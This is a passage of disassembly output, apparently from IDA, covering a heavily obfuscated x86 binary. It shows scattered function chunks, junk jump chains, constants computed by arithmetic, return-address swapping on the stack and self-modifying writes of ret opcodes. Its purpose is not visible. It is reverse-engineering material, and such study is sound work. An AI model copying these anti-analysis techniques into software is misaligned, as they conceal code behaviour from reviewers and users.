		xchg	ecx, [esp-8+arg_4]
		jmp	loc_44E27B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_44B062:				; CODE XREF: sub_44B489-EF39j
					; sub_44B489:loc_442763j ...
		jmp	loc_43A9F4
; ---------------------------------------------------------------------------

loc_44B067:				; CODE XREF: sub_44B489-12C4Ej
					; sub_4481EF+8AAj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_44B06A:				; CODE XREF: sub_43923C+F875j
		jmp	loc_43C607
; END OF FUNCTION CHUNK	FOR sub_43923C

; =============== S U B	R O U T	I N E =======================================



sub_44B06F	proc near		; CODE XREF: sub_439F2D-2F2Aj
					; y22d6.y.:loc_4395FAp	...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043731D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D082 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F82A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447E47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DFF3 SIZE 00000026 BYTES

		push	ebp
		jmp	loc_447E47
sub_44B06F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A0A7

loc_44B075:				; CODE XREF: sub_44A0A7:loc_44E23Dj
		xchg	edi, [esp+0]
		jmp	loc_440C8C
; END OF FUNCTION CHUNK	FOR sub_44A0A7
; ---------------------------------------------------------------------------

loc_44B07D:				; CODE XREF: y22d6.y.:0043AF3Cj
		shl	edi, 12h

; =============== S U B	R O U T	I N E =======================================



sub_44B080	proc near		; CODE XREF: y22d6.y.:00445B86p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	edi, [esp-4+arg_0]
		jmp	sub_4480DE
sub_44B080	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_44B08C:				; CODE XREF: sub_43BCA9:loc_437AFCj
		xchg	eax, [esp+0]
		jmp	loc_43FE6B
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------

loc_44B094:				; CODE XREF: y22d6.y.:00437A04j
		push	3BB5AB94h
		pop	ebx
		rol	ebx, 1Ah
		add	ebx, 0AF55367Eh
		xchg	ebx, [esp]
		jmp	sub_438E86
; ---------------------------------------------------------------------------

loc_44B0AB:				; DATA XREF: sub_441CF9o
		push	edx
		push	0FB8B5EDBh
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		jmp	loc_449244
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_44B0BC:				; CODE XREF: sub_43E81B+AF8Fj
		jnz	loc_44E039
		jmp	loc_44C153
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6F

loc_44B0C7:				; CODE XREF: sub_438A6F+14B56j
		mov	eax, [eax]
		push	ebx
		push	6AC7F09Dh
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_438A6F
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44B0D0:				; CODE XREF: sub_4432B8:loc_43A523j
		and	ebx, 889CBBD7h
		call	sub_439175

loc_44B0DB:				; CODE XREF: sub_445791:loc_4487E4j
		push	offset loc_43985A
		jmp	loc_44A789
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_44B0E5	proc near		; CODE XREF: y22d6.y.:loc_43B7CCj
					; DATA XREF: sub_44CB3F-8415o
		jz	loc_447463
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4380CD
		push	offset sub_4427BB
		jmp	nullsub_223
sub_44B0E5	endp

; ---------------------------------------------------------------------------
		add	edx, ebp
		sbb	edi, edx
		jmp	sub_44A9F2
; ---------------------------------------------------------------------------

loc_44B107:				; CODE XREF: y22d6.y.:0043F647j
		or	ebx, ebp
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_44B109:				; CODE XREF: y22d6.y.:loc_43F63Fj
					; sub_43A6E1+8A03j
		rol	esi, 8
		or	esi, 26D377FDh
		add	esi, 506C1318h
		xchg	esi, [esp+0]
		jmp	loc_43FA2A
; END OF FUNCTION CHUNK	FOR sub_43A6E1

; =============== S U B	R O U T	I N E =======================================



sub_44B120	proc near		; DATA XREF: sub_4432B8+1D5Fo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044CA6B SIZE 00000005 BYTES

		push	eax
		push	76CEF227h
		pop	eax
		add	eax, 6F7182Eh
		or	eax, 0E74400F7h
		rol	eax, 0Ah
		add	eax, 0E818C845h
		xchg	eax, [esp+4+var_4]
		jmp	loc_44CA6B
sub_44B120	endp


; =============== S U B	R O U T	I N E =======================================



sub_44B144	proc near		; CODE XREF: sub_43DD78+Ap
					; y22d6.y.:004438A3j
		xchg	eax, [esp+0]
		pop	eax
		lea	eax, loc_43B157
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B157
sub_44B144	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445382

loc_44B156:				; CODE XREF: sub_445382+Bj
		push	offset sub_44649D
		jmp	loc_43A2D7
; END OF FUNCTION CHUNK	FOR sub_445382
; ---------------------------------------------------------------------------
		and	eax, edx
		jnz	loc_43A1A5
		xor	ebx, ebp
		jmp	loc_43ED1F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B170:				; CODE XREF: y22d6.y.:004489A3j
		jmp	loc_446541
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_44D7DA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B17B	proc near		; CODE XREF: sub_447CBE:loc_438515p
					; sub_4398FF+90B5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004370F7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00438436 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004389A7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00438DC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043914E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004393D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043978D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004398B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A22B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043A554 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B0B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B1E4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043BA8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BDE7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C4B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE6E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D5C5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D732 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D7EA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E637 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EDF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF13 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043F399 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004400D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044064A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00440A1D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440A43 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440C6D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440F58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004411D8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441870 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442058 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443085 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443788 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444318 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004470F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447130 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448368 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004483DB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044882B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004488C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449587 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044A4D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044A88A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A8C3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A95C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B30C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B7BB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044BD96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CBD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D797 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044E20F SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	edx
		jmp	loc_44064A
sub_44B17B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, edx
		jmp	sub_44BEA6
; ---------------------------------------------------------------------------
		mov	[ecx], esi
		jmp	loc_44607C

; =============== S U B	R O U T	I N E =======================================



sub_44B196	proc near		; CODE XREF: sub_438F66+3j

; FUNCTION CHUNK AT 00437C38 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044782E SIZE 00000013 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax

loc_44B19C:				; CODE XREF: sub_444D95:loc_44D427j
		jz	loc_44782E
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_4465AC[eax*4],	0
		call	sub_444D95

locret_44B1B5:				; CODE XREF: sub_4482CF:loc_4415DCj
		retn
sub_44B196	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_44B1B6:				; CODE XREF: sub_439FCB+16j
		jmp	loc_444C1E
; END OF FUNCTION CHUNK	FOR sub_439FCB
; ---------------------------------------------------------------------------

loc_44B1BB:				; CODE XREF: y22d6.y.:0044D620j
		shr	eax, 19h
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44B1BE:				; CODE XREF: sub_43B252:loc_44D60Fj
		and	eax, 0A0BBABECh
		rol	eax, 11h
		test	eax, 1000h
		jmp	loc_439B02
; END OF FUNCTION CHUNK	FOR sub_43B252

; =============== S U B	R O U T	I N E =======================================



sub_44B1D2	proc near		; CODE XREF: sub_44057E-2EF7p
					; y22d6.y.:0044080Aj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437580 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00437753 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437A67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437CF6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043A06D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A2B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A749 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AE2F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B59F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B6C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B730 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B8F8 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0043BCB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043BD99 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C21A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C7AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D26E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D524 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FBAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440753 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044106E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00443163 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004436D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044407C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444354 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446E91 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00446F66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004473C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044770A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447B8D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00447FF0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044811F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449554 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449904 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A045 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A6BA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044B85B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C867 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D155 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044E112 SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		mov	eax, [eax+4]
		test	eax, eax
		jle	loc_43AD8B
		jmp	loc_4436D1
sub_44B1D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B1E9:				; CODE XREF: sub_448EB6:loc_43A2E1j
		jns	loc_44B47D
		add	ecx, 746504B3h
		jmp	loc_446563
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44B1FA:				; CODE XREF: y22d6.y.:0043B5F3j
		sub	eax, 6D5A2941h
		test	eax, 2
		jmp	loc_43F7EB
; ---------------------------------------------------------------------------

locret_44B20B:				; CODE XREF: y22d6.y.:00442539j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_44B20C:				; CODE XREF: sub_44313A-AF49j
		jmp	loc_44DE01
; END OF FUNCTION CHUNK	FOR sub_44313A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449C0

loc_44B211:				; CODE XREF: sub_4449C0+861Aj
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_4449C0
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_44B212:				; CODE XREF: sub_43B98D+11FBBj
		or	ecx, 5877FF81h
		and	ecx, 22284A0Dh
		add	ecx, 0AAC3809Dh
		sub	ecx, 99D09DCEh
		cmp	ecx, 0DEE0D624h
		jmp	loc_447BF5
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44B235:				; CODE XREF: sub_440280:loc_448888j
		jnz	loc_4493FE
		jmp	loc_43FFB6
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
		and	esi, 522F69D1h
		jmp	sub_43A8B0
; ---------------------------------------------------------------------------
		mov	ebx, [edi]
		jmp	sub_43AD64
; ---------------------------------------------------------------------------

loc_44B252:				; CODE XREF: y22d6.y.:loc_441CC7j
		xchg	eax, [esp]
		jmp	sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_44B25A:				; CODE XREF: sub_43E86C-468Bj
					; sub_43B7D4:loc_43A1EFj ...
		jmp	loc_44AD44
; ---------------------------------------------------------------------------

loc_44B25F:				; CODE XREF: sub_43B7D4+63E8j
					; sub_43E86C+CE9Cj
		pop	ecx

loc_44B260:				; CODE XREF: sub_44B17B:loc_440F58j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C48C

loc_44B262:				; CODE XREF: sub_44C48C-BC53j
		jmp	nullsub_356
; END OF FUNCTION CHUNK	FOR sub_44C48C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B267	proc near		; CODE XREF: sub_43EC01-6D21p
					; sub_4399C6+4p ...

; FUNCTION CHUNK AT 00438801 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043BC71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A568 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044BC98 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_440330

loc_44B270:				; CODE XREF: sub_43E913+4j
		jmp	loc_438801
sub_44B267	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44B275:				; CODE XREF: sub_440280-2366j
		jmp	loc_4489EF
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_44B27A:				; CODE XREF: y22d6.y.:00438374j
		jmp	loc_43A7FF

; =============== S U B	R O U T	I N E =======================================



sub_44B27F	proc near		; CODE XREF: sub_4432B8:loc_4432D5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E1AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F48C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00449C88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BFB9 SIZE 00000016 BYTES

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		push	ecx
		push	0CA4D65Eh
		pop	ecx
		jmp	loc_449C88
sub_44B27F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_44B291:				; CODE XREF: sub_447BB2+66E1j
		and	ecx, 0A69EEC6Eh
		push	offset loc_445A9D
		jmp	nullsub_275
; END OF FUNCTION CHUNK	FOR sub_447BB2
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437D47

loc_44B2A4:				; CODE XREF: y22d6.y.:00439DBCj
					; sub_437D47+E187j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_437D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_44B2A9:				; CODE XREF: sub_442856-46j
		jmp	loc_43CC4C
; END OF FUNCTION CHUNK	FOR sub_442856
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_44B2AE:				; CODE XREF: y22d6.y.:00444A72j
					; sub_44AA69-4BC3j
		push	offset sub_44BCAE
		jmp	loc_440030
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_44B2B8:				; CODE XREF: sub_447940:loc_444313j
		pop	ebp
		xor	edx, 0BC3FF75Ch
		add	edx, 6132B0A1h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_43BC33
; END OF FUNCTION CHUNK	FOR sub_447940
; ---------------------------------------------------------------------------

loc_44B2CD:				; CODE XREF: y22d6.y.:loc_444398j
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp]
		push	0B21B65Ah
		jmp	loc_444027
; ---------------------------------------------------------------------------
		mov	ds:dword_41E178, eax
		lea	eax, nullsub_360
		mov	byte ptr [eax],	0C3h
		jmp	loc_4370E2
; ---------------------------------------------------------------------------
		call	nullsub_315
		jmp	ds:dword_41E17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44B2FC:				; CODE XREF: sub_44DCF0+Aj
		jmp	loc_43CD1B
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447CBE

loc_44B301:				; CODE XREF: sub_447CBE+275j
		jmp	loc_438515
; END OF FUNCTION CHUNK	FOR sub_447CBE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_315. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_4485EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44B30C:				; CODE XREF: sub_44B17B:loc_4398B3j
		sub	eax, ebx
		pop	ebx
		call	sub_43A28E

loc_44B314:				; CODE XREF: y22d6.y.:loc_43D087j
		jz	loc_442058
		jmp	loc_43D7EA
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_44B31F:				; CODE XREF: sub_43C65F:loc_444841j
		jz	loc_440899
		jmp	loc_43DFD7
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_44B32A:				; CODE XREF: sub_4452EE:loc_44DE93j
		shr	edx, 10h
		and	edi, 0C928000Bh
		jmp	loc_44762A
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------

loc_44B338:				; CODE XREF: y22d6.y.:0043EADFj
		push	0BE07BC8Fh

; =============== S U B	R O U T	I N E =======================================



sub_44B33D	proc near		; CODE XREF: sub_4408F2+DB16p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 3B2EEA83h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_44B267
sub_44B33D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_44B34F:				; CODE XREF: sub_447BB2:loc_4445BDj
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		jmp	loc_44E280
; END OF FUNCTION CHUNK	FOR sub_447BB2

; =============== S U B	R O U T	I N E =======================================



sub_44B35D	proc near		; DATA XREF: sub_44DF58+11o

; FUNCTION CHUNK AT 00445162 SIZE 00000005 BYTES

		cmp	dword ptr [ebp-4], 0
		push	offset sub_44CBA6
		jmp	loc_445162
sub_44B35D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_44B36B:				; CODE XREF: sub_4416F3-17E3j
		jp	loc_43A945
		jge	loc_43C155

loc_44B377:				; CODE XREF: sub_4416F3:loc_440EB5j
		push	661D8787h
		pop	eax
		and	eax, 694D2283h
		rol	eax, 2
		or	eax, 1751DFB3h
		jmp	loc_44D00E
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------

loc_44B391:				; CODE XREF: y22d6.y.:004374BEj
		cmp	ebx, edx
		jmp	loc_44CC80
; ---------------------------------------------------------------------------

loc_44B398:				; CODE XREF: y22d6.y.:00446E3Ej
		cdq
		cmp	edi, 0F77B39ECh
		jmp	loc_4474E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44B3A4:				; CODE XREF: sub_44AEDA+26A0j
		jnz	loc_440784
		add	ecx, esi
		jmp	loc_44BF3B
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_44B3B1:				; CODE XREF: y22d6.y.:loc_43BCF2j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_340

; =============== S U B	R O U T	I N E =======================================



sub_44B3B9	proc near		; CODE XREF: sub_40FE64+27p
					; sub_417720+134p ...
		call	sub_44B3C9
		jmp	ds:off_41E13C
sub_44B3B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_44B3C4:				; CODE XREF: sub_44B635-7BBEj
		jmp	loc_43F60A
; END OF FUNCTION CHUNK	FOR sub_44B635

; =============== S U B	R O U T	I N E =======================================



sub_44B3C9	proc near		; CODE XREF: sub_44B3C9:loc_4402C4j
					; sub_44B3B9p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043919C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B2D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B37F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043B77E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F054 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043FE7E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004402C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004437FF SIZE 00000005 BYTES

		pop	edx
		jns	loc_43B2D7
		jmp	loc_4437FF
sub_44B3C9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_41E138, eax
		lea	eax, nullsub_340
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_340
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		jmp	loc_44CACE
; ---------------------------------------------------------------------------

loc_44B3F2:				; CODE XREF: y22d6.y.:0043CE7Bj
		jns	loc_43F678

; =============== S U B	R O U T	I N E =======================================



sub_44B3F8	proc near		; CODE XREF: sub_43D9D2-3B5Ep
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax

loc_44B404:				; CODE XREF: sub_43EFB1:loc_43BF5Bj
					; y22d6.y.:004437E3j ...
		call	sub_440F2F
		or	ebx, 0E5EA789h
		jmp	sub_44A095
sub_44B3F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_44B414:				; CODE XREF: sub_4475B3:loc_44BD9Bj
					; y22d6.y.:0044BDB4j
		sub	esi, 7A1ED7AAh
		or	esi, 276BD34Fh
		test	esi, 80000000h
		jmp	loc_43B702
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499C9

loc_44B42B:				; CODE XREF: sub_4499C9+13j
		and	eax, 6EC9CB47h
		xor	eax, 0F0760CD2h
		add	eax, ebp
		add	eax, 6DC03855h
		push	offset loc_449B60
		jmp	loc_43BB71
; END OF FUNCTION CHUNK	FOR sub_4499C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF73

loc_44B449:				; CODE XREF: sub_44DF73+Bj
		mov	byte ptr [ecx],	87h
		sbb	ecx, eax
		jmp	loc_44845B
; END OF FUNCTION CHUNK	FOR sub_44DF73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B453:				; CODE XREF: sub_448EB6-DF40j
		jg	loc_440DD8
		jmp	loc_448625
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44B45E:				; CODE XREF: y22d6.y.:loc_4464B8j
		jz	loc_44C548
		jmp	loc_443B7E
; ---------------------------------------------------------------------------
		sub	edi, 4F1E371Fh
		or	ecx, 260A80DDh
		jmp	sub_43FC1E

; =============== S U B	R O U T	I N E =======================================



sub_44B47A	proc near		; CODE XREF: y22d6.y.:00437A11j
					; sub_444427-A8CCp
		xchg	edx, [esp+0]

loc_44B47D:				; CODE XREF: sub_448EB6:loc_44B1E9j
		pop	edx
		pop	esi
		push	offset loc_43F9D2
		jmp	nullsub_170
sub_44B47A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44B489	proc near		; CODE XREF: sub_443C3C:loc_4413A0j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438833 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00438F98 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043AAB0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043BCD8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043C54B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D14F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DE35 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043FF81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044034F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004403E5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440404 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004420C4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00442763 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442AAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442BD8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443D8D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044454F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00447091 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004478F9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004480D5 SIZE 00000004 BYTES
